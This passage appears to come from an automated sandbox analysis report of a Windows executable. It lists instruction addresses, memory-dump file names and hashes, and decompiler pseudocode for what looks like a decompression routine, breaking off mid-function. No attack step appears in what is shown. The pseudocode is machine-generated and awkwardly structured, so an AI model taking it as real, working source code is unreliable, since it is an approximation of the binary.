                                                                                                        0x00406181
                                                                                                        0x0040619f
                                                                                                        0x004061a1
                                                                                                        0x00000000
                                                                                                        0x00406183
                                                                                                        0x00406183
                                                                                                        0x00406186
                                                                                                        0x00406189
                                                                                                        0x0040618c
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x00406191
                                                                                                        0x00406194
                                                                                                        0x00406196
                                                                                                        0x00406197
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x004063d0
                                                                                                        0x004063d4
                                                                                                        0x004063f2
                                                                                                        0x004063f5
                                                                                                        0x004063fc
                                                                                                        0x004063ff
                                                                                                        0x00406402
                                                                                                        0x00406405
                                                                                                        0x00406408
                                                                                                        0x0040640b
                                                                                                        0x0040640d
                                                                                                        0x00406414
                                                                                                        0x00406415
                                                                                                        0x00406417
                                                                                                        0x0040641a
                                                                                                        0x0040641d
                                                                                                        0x00406420
                                                                                                        0x00406420
                                                                                                        0x00406425
                                                                                                        0x00000000
                                                                                                        0x00406425
                                                                                                        0x004063d6
                                                                                                        0x004063d9
                                                                                                        0x004063dc
                                                                                                        0x004063e6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040643a
                                                                                                        0x0040643e
                                                                                                        0x00406461
                                                                                                        0x00406464
                                                                                                        0x00406467
                                                                                                        0x00406471
                                                                                                        0x00406440
                                                                                                        0x00406440
                                                                                                        0x00406443
                                                                                                        0x00406446
                                                                                                        0x00406449
                                                                                                        0x00406456
                                                                                                        0x00406459
                                                                                                        0x00406459
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064ee
                                                                                                        0x004064f2
                                                                                                        0x004064f9
                                                                                                        0x004064fc
                                                                                                        0x004064ff
                                                                                                        0x00406509
                                                                                                        0x00000000
                                                                                                        0x00406509
                                                                                                        0x004064f4
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406515
                                                                                                        0x00406519
                                                                                                        0x00406520
                                                                                                        0x00406523
                                                                                                        0x00406526
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x00406529
                                                                                                        0x0040652c
                                                                                                        0x0040652f
                                                                                                        0x0040652f
                                                                                                        0x00406532
                                                                                                        0x00406535
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004065d5
                                                                                                        0x004065d5
                                                                                                        0x004065d9
                                                                                                        0x00406977
                                                                                                        0x00000000
                                                                                                        0x00406977
                                                                                                        0x004065df
                                                                                                        0x004065e2
                                                                                                        0x004065e5
                                                                                                        0x004065e9
                                                                                                        0x004065ec
                                                                                                        0x004065f2
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f7
                                                                                                        0x004065fa
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061ca
                                                                                                        0x004061ca
                                                                                                        0x004061ce
                                                                                                        0x0040693b
                                                                                                        0x00000000
                                                                                                        0x0040693b
                                                                                                        0x004061d4
                                                                                                        0x004061d7
                                                                                                        0x004061da
                                                                                                        0x004061de
                                                                                                        0x004061e1
                                                                                                        0x004061e7
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061ec
                                                                                                        0x004061ef
                                                                                                        0x004061ef
                                                                                                        0x004061f2
                                                                                                        0x004061f5
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061fb
                                                                                                        0x00406201
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406207
                                                                                                        0x00406207
                                                                                                        0x0040620b
                                                                                                        0x0040620e
                                                                                                        0x00406211
                                                                                                        0x00406214
                                                                                                        0x00406217
                                                                                                        0x00406218
                                                                                                        0x0040621b
                                                                                                        0x0040621d
                                                                                                        0x00406223
                                                                                                        0x00406226
                                                                                                        0x00406229
                                                                                                        0x0040622c
                                                                                                        0x0040622f
                                                                                                        0x00406232
                                                                                                        0x00406235
                                                                                                        0x00406251
                                                                                                        0x00406254
                                                                                                        0x00406257
                                                                                                        0x0040625a
                                                                                                        0x00406261
                                                                                                        0x00406265
                                                                                                        0x00406267
                                                                                                        0x0040626b
                                                                                                        0x00406237
                                                                                                        0x00406237
                                                                                                        0x0040623b
                                                                                                        0x00406243
                                                                                                        0x00406248
                                                                                                        0x0040624a
                                                                                                        0x0040624c
                                                                                                        0x0040624c
                                                                                                        0x0040626e
                                                                                                        0x00406275
                                                                                                        0x00406278
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x00406283
                                                                                                        0x00406283
                                                                                                        0x00406287
                                                                                                        0x00406947
                                                                                                        0x00000000
                                                                                                        0x00406947
                                                                                                        0x0040628d
                                                                                                        0x00406290
                                                                                                        0x00406293
                                                                                                        0x00406297
                                                                                                        0x0040629a
                                                                                                        0x004062a0
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a5
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062ae
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004062b0
                                                                                                        0x004062b3
                                                                                                        0x004062b6
                                                                                                        0x004062b9
                                                                                                        0x004062bc
                                                                                                        0x004062bf
                                                                                                        0x004062c2
                                                                                                        0x004062c5
                                                                                                        0x004062c8
                                                                                                        0x004062cb
                                                                                                        0x004062ce
                                                                                                        0x004062e6
                                                                                                        0x004062e9
                                                                                                        0x004062ec
                                                                                                        0x004062ef
                                                                                                        0x004062ef
                                                                                                        0x004062f2
                                                                                                        0x004062f6
                                                                                                        0x004062f8
                                                                                                        0x004062d0
                                                                                                        0x004062d0
                                                                                                        0x004062d8
                                                                                                        0x004062dd
                                                                                                        0x004062df
                                                                                                        0x004062e1
                                                                                                        0x004062e1
                                                                                                        0x004062fb
                                                                                                        0x00406302
                                                                                                        0x00406305
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00406305
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406347
                                                                                                        0x00406347
                                                                                                        0x0040634b
                                                                                                        0x00406953
                                                                                                        0x00000000
                                                                                                        0x00406953
                                                                                                        0x00406351
                                                                                                        0x00406354
                                                                                                        0x00406357
                                                                                                        0x0040635b
                                                                                                        0x0040635e
                                                                                                        0x00406364
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406369
                                                                                                        0x0040636c
                                                                                                        0x0040636c
                                                                                                        0x00406372
                                                                                                        0x00406310
                                                                                                        0x00406310
                                                                                                        0x00406313
                                                                                                        0x00000000
                                                                                                        0x00406313
                                                                                                        0x00406374
                                                                                                        0x00406374
                                                                                                        0x00406377
                                                                                                        0x0040637a
                                                                                                        0x0040637d
                                                                                                        0x00406380
                                                                                                        0x00406383
                                                                                                        0x00406386
                                                                                                        0x00406389
                                                                                                        0x0040638c
                                                                                                        0x0040638f
                                                                                                        0x00406392
                                                                                                        0x004063aa
                                                                                                        0x004063ad
                                                                                                        0x004063b0
                                                                                                        0x004063b3
                                                                                                        0x004063b3
                                                                                                        0x004063b6
                                                                                                        0x004063ba
                                                                                                        0x004063bc
                                                                                                        0x00406394
                                                                                                        0x00406394
                                                                                                        0x0040639c
                                                                                                        0x004063a1
                                                                                                        0x004063a3
                                                                                                        0x004063a5
                                                                                                        0x004063a5
                                                                                                        0x004063bf
                                                                                                        0x004063c6
                                                                                                        0x004063c9
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x00406658
                                                                                                        0x00406658
                                                                                                        0x0040665c
                                                                                                        0x00406983
                                                                                                        0x00000000
                                                                                                        0x00406983
                                                                                                        0x00406662
                                                                                                        0x00406665
                                                                                                        0x00406668
                                                                                                        0x0040666c
                                                                                                        0x0040666f
                                                                                                        0x00406675
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x0040667a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406767
                                                                                                        0x0040676b
                                                                                                        0x0040678d
                                                                                                        0x00406790
                                                                                                        0x0040679a
                                                                                                        0x00000000
                                                                                                        0x0040679a
                                                                                                        0x0040676d
                                                                                                        0x00406770
                                                                                                        0x00406774
                                                                                                        0x00406777
                                                                                                        0x00406777
                                                                                                        0x0040677a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406824
                                                                                                        0x00406828
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x0040684d
                                                                                                        0x00406854
                                                                                                        0x0040685b
                                                                                                        0x0040685b
                                                                                                        0x00000000
                                                                                                        0x0040685b
                                                                                                        0x0040682a
                                                                                                        0x0040682d
                                                                                                        0x00406830
                                                                                                        0x00406833
                                                                                                        0x0040683a
                                                                                                        0x0040677e
                                                                                                        0x0040677e
                                                                                                        0x00406781
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406915
                                                                                                        0x00406918
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040654f
                                                                                                        0x00406551
                                                                                                        0x00406558
                                                                                                        0x00406559
                                                                                                        0x0040655b
                                                                                                        0x0040655e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406566
                                                                                                        0x00406569
                                                                                                        0x0040656c
                                                                                                        0x0040656e
                                                                                                        0x00406570
                                                                                                        0x00406570
                                                                                                        0x00406571
                                                                                                        0x00406574
                                                                                                        0x0040657b
                                                                                                        0x0040657e
                                                                                                        0x0040658c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406862
                                                                                                        0x00406862
                                                                                                        0x00406865
                                                                                                        0x0040686c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406871
                                                                                                        0x00406871
                                                                                                        0x00406875
                                                                                                        0x004069ad
                                                                                                        0x00000000
                                                                                                        0x004069ad
                                                                                                        0x0040687b
                                                                                                        0x0040687e
                                                                                                        0x00406881
                                                                                                        0x00406885
                                                                                                        0x00406888
                                                                                                        0x0040688e
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406893
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406899
                                                                                                        0x00406899
                                                                                                        0x0040689d
                                                                                                        0x004068fd
                                                                                                        0x00406900
                                                                                                        0x00406905
                                                                                                        0x00406906
                                                                                                        0x00406908
                                                                                                        0x0040690a
                                                                                                        0x0040690d
                                                                                                        0x00000000
                                                                                                        0x0040690d
                                                                                                        0x0040689f
                                                                                                        0x004068a5
                                                                                                        0x004068a8
                                                                                                        0x004068ab
                                                                                                        0x004068ae
                                                                                                        0x004068b1
                                                                                                        0x004068b4
                                                                                                        0x004068b7
                                                                                                        0x004068ba
                                                                                                        0x004068bd
                                                                                                        0x004068c0
                                                                                                        0x004068d9
                                                                                                        0x004068dc
                                                                                                        0x004068df
                                                                                                        0x004068e2
                                                                                                        0x004068e6
                                                                                                        0x004068e8
                                                                                                        0x004068e8
                                                                                                        0x004068e9
                                                                                                        0x004068ec
                                                                                                        0x004068c2
                                                                                                        0x004068c2
                                                                                                        0x004068ca
                                                                                                        0x004068cf
                                                                                                        0x004068d1
                                                                                                        0x004068d4
                                                                                                        0x004068d4
                                                                                                        0x004068ef
                                                                                                        0x004068f6
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x00406594
                                                                                                        0x00406597
                                                                                                        0x004065cd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x00406700
                                                                                                        0x00406700
                                                                                                        0x00406703
                                                                                                        0x00406705
                                                                                                        0x0040698f
                                                                                                        0x00000000
                                                                                                        0x0040698f
                                                                                                        0x0040670b
                                                                                                        0x0040670e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406714
                                                                                                        0x00406718
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x00000000
                                                                                                        0x0040671b
                                                                                                        0x00406599
                                                                                                        0x0040659b
                                                                                                        0x0040659d
                                                                                                        0x0040659f
                                                                                                        0x004065a2
                                                                                                        0x004065a3
                                                                                                        0x004065a5
                                                                                                        0x004065a7
                                                                                                        0x004065aa
                                                                                                        0x004065ad
                                                                                                        0x004065c3
                                                                                                        0x004065c8
                                                                                                        0x00406600
                                                                                                        0x00406600
                                                                                                        0x00406604
                                                                                                        0x00406630
                                                                                                        0x00406632
                                                                                                        0x00406639
                                                                                                        0x0040663c
                                                                                                        0x0040663f
                                                                                                        0x0040663f
                                                                                                        0x00406644
                                                                                                        0x00406644
                                                                                                        0x00406646
                                                                                                        0x00406649
                                                                                                        0x00406650
                                                                                                        0x00406653
                                                                                                        0x00406680
                                                                                                        0x00406680
                                                                                                        0x00406683
                                                                                                        0x00406686
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x00000000
                                                                                                        0x004066fa
                                                                                                        0x00406688
                                                                                                        0x0040668e
                                                                                                        0x00406691
                                                                                                        0x00406694
                                                                                                        0x00406697
                                                                                                        0x0040669a
                                                                                                        0x0040669d
                                                                                                        0x004066a0
                                                                                                        0x004066a3
                                                                                                        0x004066a6
                                                                                                        0x004066a9
                                                                                                        0x004066c2
                                                                                                        0x004066c4
                                                                                                        0x004066c7
                                                                                                        0x004066c8
                                                                                                        0x004066cb
                                                                                                        0x004066cd
                                                                                                        0x004066d0
                                                                                                        0x004066d2
                                                                                                        0x004066d4
                                                                                                        0x004066d7
                                                                                                        0x004066d9
                                                                                                        0x004066dc
                                                                                                        0x004066e0
                                                                                                        0x004066e2
                                                                                                        0x004066e2
                                                                                                        0x004066e3
                                                                                                        0x004066e6
                                                                                                        0x004066e9
                                                                                                        0x004066ab
                                                                                                        0x004066ab
                                                                                                        0x004066b3
                                                                                                        0x004066b8
                                                                                                        0x004066ba
                                                                                                        0x004066bd
                                                                                                        0x004066bd
                                                                                                        0x004066ec
                                                                                                        0x004066f3
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x004066f3
                                                                                                        0x00406606
                                                                                                        0x00406609
                                                                                                        0x0040660b
                                                                                                        0x0040660e
                                                                                                        0x00406611
                                                                                                        0x00406614
                                                                                                        0x00406616
                                                                                                        0x00406619
                                                                                                        0x0040661c
                                                                                                        0x0040661c
                                                                                                        0x0040661f
                                                                                                        0x0040661f
                                                                                                        0x00406622
                                                                                                        0x00406629
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00406629
                                                                                                        0x004065af
                                                                                                        0x004065b2
                                                                                                        0x004065b4
                                                                                                        0x004065b7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406316
                                                                                                        0x00406316
                                                                                                        0x0040631a
                                                                                                        0x0040695f
                                                                                                        0x00000000
                                                                                                        0x0040695f
                                                                                                        0x00406320
                                                                                                        0x00406323
                                                                                                        0x00406326
                                                                                                        0x00406329
                                                                                                        0x0040632c
                                                                                                        0x0040632f
                                                                                                        0x00406332
                                                                                                        0x00406334
                                                                                                        0x00406337
                                                                                                        0x0040633a
                                                                                                        0x0040633d
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x00406722
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406728
                                                                                                        0x0040672b
                                                                                                        0x0040672e
                                                                                                        0x00406731
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406736
                                                                                                        0x00406739
                                                                                                        0x0040673c
                                                                                                        0x0040673f
                                                                                                        0x00406742
                                                                                                        0x00406745
                                                                                                        0x00406746
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x0040674b
                                                                                                        0x0040674e
                                                                                                        0x00406751
                                                                                                        0x00406754
                                                                                                        0x00406757
                                                                                                        0x0040675b
                                                                                                        0x0040675d
                                                                                                        0x00406760
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x00406760
                                                                                                        0x00406995
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
                                                                                                        • Instruction ID: e06b97397237a54a8f7c6fae7a0c48c933f493286525731b7b3672fa0d973436
                                                                                                        • Opcode Fuzzy Hash: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
                                                                                                        • Instruction Fuzzy Hash: 678155B1D00229CFDF24CFA8C8447ADBBB1FB44305F25816AD456BB281D7789A96CF54
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 98%
                                                                                                        			E00405F82(void* __ecx) {
                                                                                                        				void* _v8;
                                                                                                        				void* _v12;
                                                                                                        				signed int _v16;
                                                                                                        				unsigned int _v20;
                                                                                                        				signed int _v24;
                                                                                                        				signed int _v28;
                                                                                                        				signed int _v32;
                                                                                                        				signed int _v36;
                                                                                                        				signed int _v40;
                                                                                                        				signed int _v44;
                                                                                                        				signed int _v48;
                                                                                                        				signed int _v52;
                                                                                                        				signed int _v56;
                                                                                                        				signed int _v60;
                                                                                                        				signed int _v64;
                                                                                                        				signed int _v68;
                                                                                                        				signed int _v72;
                                                                                                        				signed int _v76;
                                                                                                        				signed int _v80;
                                                                                                        				signed int _v84;
                                                                                                        				signed int _v88;
                                                                                                        				signed int _v92;
                                                                                                        				signed int _v95;
                                                                                                        				signed int _v96;
                                                                                                        				signed int _v100;
                                                                                                        				signed int _v104;
                                                                                                        				signed int _v108;
                                                                                                        				signed int _v112;
                                                                                                        				signed int _v116;
                                                                                                        				signed int _v120;
                                                                                                        				intOrPtr _v124;
                                                                                                        				signed int _v128;
                                                                                                        				signed int _v132;
                                                                                                        				signed int _v136;
                                                                                                        				void _v140;
                                                                                                        				void* _v148;
                                                                                                        				signed int _t537;
                                                                                                        				signed int _t538;
                                                                                                        				signed int _t572;
                                                                                                        
                                                                                                        				_t572 = 0x22;
                                                                                                        				_v148 = __ecx;
                                                                                                        				memcpy( &_v140, __ecx, _t572 << 2);
                                                                                                        				if(_v52 == 0xffffffff) {
                                                                                                        					return 1;
                                                                                                        				}
                                                                                                        				while(1) {
                                                                                                        					L3:
                                                                                                        					_t537 = _v140;
                                                                                                        					if(_t537 > 0x1c) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					switch( *((intOrPtr*)(_t537 * 4 +  &M004069D4))) {
                                                                                                        						case 0:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_v116 = _v116 + 1;
                                                                                                        							_t537 =  *_v116;
                                                                                                        							__eflags = _t537 - 0xe1;
                                                                                                        							if(_t537 > 0xe1) {
                                                                                                        								goto L174;
                                                                                                        							}
                                                                                                        							_t542 = _t537 & 0x000000ff;
                                                                                                        							_push(0x2d);
                                                                                                        							asm("cdq");
                                                                                                        							_pop(_t576);
                                                                                                        							_push(9);
                                                                                                        							_pop(_t577);
                                                                                                        							_t622 = _t542 / _t576;
                                                                                                        							_t544 = _t542 % _t576 & 0x000000ff;
                                                                                                        							asm("cdq");
                                                                                                        							_t617 = _t544 % _t577 & 0x000000ff;
                                                                                                        							_v64 = _t617;
                                                                                                        							_v32 = (1 << _t622) - 1;
                                                                                                        							_v28 = (1 << _t544 / _t577) - 1;
                                                                                                        							_t625 = (0x300 << _t617 + _t622) + 0x736;
                                                                                                        							__eflags = 0x600 - _v124;
                                                                                                        							if(0x600 == _v124) {
                                                                                                        								L12:
                                                                                                        								__eflags = _t625;
                                                                                                        								if(_t625 == 0) {
                                                                                                        									L14:
                                                                                                        									_v76 = _v76 & 0x00000000;
                                                                                                        									_v68 = _v68 & 0x00000000;
                                                                                                        									goto L17;
                                                                                                        								} else {
                                                                                                        									goto L13;
                                                                                                        								}
                                                                                                        								do {
                                                                                                        									L13:
                                                                                                        									_t625 = _t625 - 1;
                                                                                                        									__eflags = _t625;
                                                                                                        									 *((short*)(_v8 + _t625 * 2)) = 0x400;
                                                                                                        								} while (_t625 != 0);
                                                                                                        								goto L14;
                                                                                                        							}
                                                                                                        							__eflags = _v8;
                                                                                                        							if(_v8 != 0) {
                                                                                                        								GlobalFree(_v8);
                                                                                                        							}
                                                                                                        							_t537 = GlobalAlloc(0x40, 0x600); // executed
                                                                                                        							__eflags = _t537;
                                                                                                        							_v8 = _t537;
                                                                                                        							if(_t537 == 0) {
                                                                                                        								goto L174;
                                                                                                        							} else {
                                                                                                        								_v124 = 0x600;
                                                                                                        								goto L12;
                                                                                                        							}
                                                                                                        						case 1:
                                                                                                        							L15:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								_v140 = 1;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
                                                                                                        							_v116 = _v116 + 1;
                                                                                                        							_t50 =  &_v76;
                                                                                                        							 *_t50 = _v76 + 1;
                                                                                                        							__eflags =  *_t50;
                                                                                                        							L17:
                                                                                                        							__eflags = _v76 - 4;
                                                                                                        							if(_v76 < 4) {
                                                                                                        								goto L15;
                                                                                                        							}
                                                                                                        							_t550 = _v68;
                                                                                                        							__eflags = _t550 - _v120;
                                                                                                        							if(_t550 == _v120) {
                                                                                                        								L22:
                                                                                                        								_v76 = 5;
                                                                                                        								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
                                                                                                        								goto L25;
                                                                                                        							}
                                                                                                        							__eflags = _v12;
                                                                                                        							_v120 = _t550;
                                                                                                        							if(_v12 != 0) {
                                                                                                        								GlobalFree(_v12);
                                                                                                        							}
                                                                                                        							_t537 = GlobalAlloc(0x40, _v68); // executed
                                                                                                        							__eflags = _t537;
                                                                                                        							_v12 = _t537;
                                                                                                        							if(_t537 == 0) {
                                                                                                        								goto L174;
                                                                                                        							} else {
                                                                                                        								goto L22;
                                                                                                        							}
                                                                                                        						case 2:
                                                                                                        							L26:
                                                                                                        							_t557 = _v100 & _v32;
                                                                                                        							_v136 = 6;
                                                                                                        							_v80 = _t557;
                                                                                                        							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
                                                                                                        							goto L135;
                                                                                                        						case 3:
                                                                                                        							L23:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								_v140 = 3;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_t72 =  &_v116;
                                                                                                        							 *_t72 = _v116 + 1;
                                                                                                        							__eflags =  *_t72;
                                                                                                        							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							L25:
                                                                                                        							_v76 = _v76 - 1;
                                                                                                        							__eflags = _v76;
                                                                                                        							if(_v76 != 0) {
                                                                                                        								goto L23;
                                                                                                        							}
                                                                                                        							goto L26;
                                                                                                        						case 4:
                                                                                                        							L136:
                                                                                                        							_t559 =  *_t626;
                                                                                                        							_t610 = _t559 & 0x0000ffff;
                                                                                                        							_t591 = (_v20 >> 0xb) * _t610;
                                                                                                        							__eflags = _v16 - _t591;
                                                                                                        							if(_v16 >= _t591) {
                                                                                                        								_v20 = _v20 - _t591;
                                                                                                        								_v16 = _v16 - _t591;
                                                                                                        								_v68 = 1;
                                                                                                        								_t560 = _t559 - (_t559 >> 5);
                                                                                                        								__eflags = _t560;
                                                                                                        								 *_t626 = _t560;
                                                                                                        							} else {
                                                                                                        								_v20 = _t591;
                                                                                                        								_v68 = _v68 & 0x00000000;
                                                                                                        								 *_t626 = (0x800 - _t610 >> 5) + _t559;
                                                                                                        							}
                                                                                                        							__eflags = _v20 - 0x1000000;
                                                                                                        							if(_v20 >= 0x1000000) {
                                                                                                        								goto L142;
                                                                                                        							} else {
                                                                                                        								goto L140;
                                                                                                        							}
                                                                                                        						case 5:
                                                                                                        							L140:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								_v140 = 5;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							_v20 = _v20 << 8;
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_t464 =  &_v116;
                                                                                                        							 *_t464 = _v116 + 1;
                                                                                                        							__eflags =  *_t464;
                                                                                                        							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							L142:
                                                                                                        							_t561 = _v136;
                                                                                                        							goto L143;
                                                                                                        						case 6:
                                                                                                        							__edx = 0;
                                                                                                        							__eflags = _v68;
                                                                                                        							if(_v68 != 0) {
                                                                                                        								__eax = _v8;
                                                                                                        								__ecx = _v60;
                                                                                                        								_v56 = 1;
                                                                                                        								_v136 = 7;
                                                                                                        								__esi = _v8 + 0x180 + _v60 * 2;
                                                                                                        								goto L135;
                                                                                                        							}
                                                                                                        							__eax = _v96 & 0x000000ff;
                                                                                                        							__esi = _v100;
                                                                                                        							__cl = 8;
                                                                                                        							__cl = 8 - _v64;
                                                                                                        							__esi = _v100 & _v28;
                                                                                                        							__eax = (_v96 & 0x000000ff) >> 8;
                                                                                                        							__ecx = _v64;
                                                                                                        							__esi = (_v100 & _v28) << 8;
                                                                                                        							__ecx = _v8;
                                                                                                        							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
                                                                                                        							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
                                                                                                        							__eflags = _v60 - 4;
                                                                                                        							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
                                                                                                        							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
                                                                                                        							if(_v60 >= 4) {
                                                                                                        								__eflags = _v60 - 0xa;
                                                                                                        								if(_v60 >= 0xa) {
                                                                                                        									_t103 =  &_v60;
                                                                                                        									 *_t103 = _v60 - 6;
                                                                                                        									__eflags =  *_t103;
                                                                                                        								} else {
                                                                                                        									_v60 = _v60 - 3;
                                                                                                        								}
                                                                                                        							} else {
                                                                                                        								_v60 = 0;
                                                                                                        							}
                                                                                                        							__eflags = _v56 - __edx;
                                                                                                        							if(_v56 == __edx) {
                                                                                                        								__ebx = 0;
                                                                                                        								__ebx = 1;
                                                                                                        								goto L63;
                                                                                                        							}
                                                                                                        							__eax = _v24;
                                                                                                        							__eax = _v24 - _v48;
                                                                                                        							__eflags = __eax - _v120;
                                                                                                        							if(__eax >= _v120) {
                                                                                                        								__eax = __eax + _v120;
                                                                                                        								__eflags = __eax;
                                                                                                        							}
                                                                                                        							__ecx = _v12;
                                                                                                        							__ebx = 0;
                                                                                                        							__ebx = 1;
                                                                                                        							__al =  *((intOrPtr*)(__eax + __ecx));
